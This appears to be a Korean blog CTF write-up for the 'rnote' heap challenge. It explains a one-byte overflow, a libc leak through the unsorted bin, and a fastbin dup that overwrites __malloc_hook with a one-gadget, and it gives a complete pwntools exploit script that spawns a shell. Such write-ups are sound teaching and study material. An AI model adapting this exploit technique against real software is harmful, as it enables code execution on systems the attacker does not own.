rctf - rnote
              
          2021. 1. 27. 15:11ㆍCTF's Write-up

문제를 확인해보면 전형적인 힙문제같다, 1.생성 2.삭제 3.출력 기능이 있다.
ida로 메인 코드를 확인해보면

add 에서 for ( i = 0; i <= 15 && *((_DWORD *)&unk_6020E0 + 8 * i); ++i ) 이기때문에 1byte bof 가 발생한다.
exploit 과정을 아래와 같다.
1. unsorted bin을 활용해서 main_arena leak
2.1byte bof 로 메모리 변조 --> malloc_hook
3. malloc hook ovewrite
payload 는 아래와 같다.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | from pwn import * r = process("./RNote") e = ELF("./RNote") context.log_level = "debug" l = ELF("/lib/x86_64-linux-gnu/libc.so.6") arena_off = 0x3c4b20 oneshot_off = 0xf1147 malloc_hook_off = l.symbols['__malloc_hook'] def add(size, title, content) :     r.sendlineafter("choice: ", "1")     r.sendlineafter("size: ", str(size))     r.sendlineafter("title: ", title)     r.sendlineafter("content: ", content) def delete(delete) :     r.sendlineafter("choice: ", "2")     r.sendlineafter("delete: ", str(delete)) def show(show) :     r.sendlineafter("choice: ", "3")     r.sendlineafter("show: ", str(show)) add(200, "AAAA", "AAAA") add(200, "AAAA", "AAAA") delete(0) add(200, "AAAA", "AAAA") show(0) r.recvuntil("\x7f") leak_add = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") libc_base = leak_add - (arena_off + 88) oneshot_add = libc_base + oneshot_off malloc_hook_add = libc_base + malloc_hook_off log.info("leak_add = " + hex(leak_add)) log.info("libc_base = " + hex(libc_base)) log.info("oneshot_add = " + hex(oneshot_add)) log.info("malloc_hook_add = " + hex(malloc_hook_add)) delete(0) delete(1) delete(2) add(96, "AAAA", "AAAA") add(96, "BBBB", "BBBB") add(96, "C"*16+"\x10", "CCCC") delete(0) delete(1) delete(2) add(96,"AAAA",p64(malloc_hook_add-0x23)) #fastbin dup add(96,"BBBB","BBBB") add(96,"CCCC","CCCC") add(96,"DDDD","D"*19 + p64(oneshot_add)) #malloc in malloc_hook-0x23 r.sendlineafter("Your choice: ","1") r.sendlineafter("note size: ","1") r.interactive() | cs | 
실행시키면

shell 획득이 가능하다.
'CTF's Write-up' 카테고리의 다른 글
| Dreamhack - broken-png (0) | 2021.02.04 | 
|---|---|
| DreamHack - login-1 (0) | 2021.02.03 | 
| DreamHack - php-1 (0) | 2021.01.12 | 
| DreamHack - rev-basic-2 (0) | 2021.01.12 | 
| HackCTF - World Best Encryption Tool (0) | 2021.01.11 |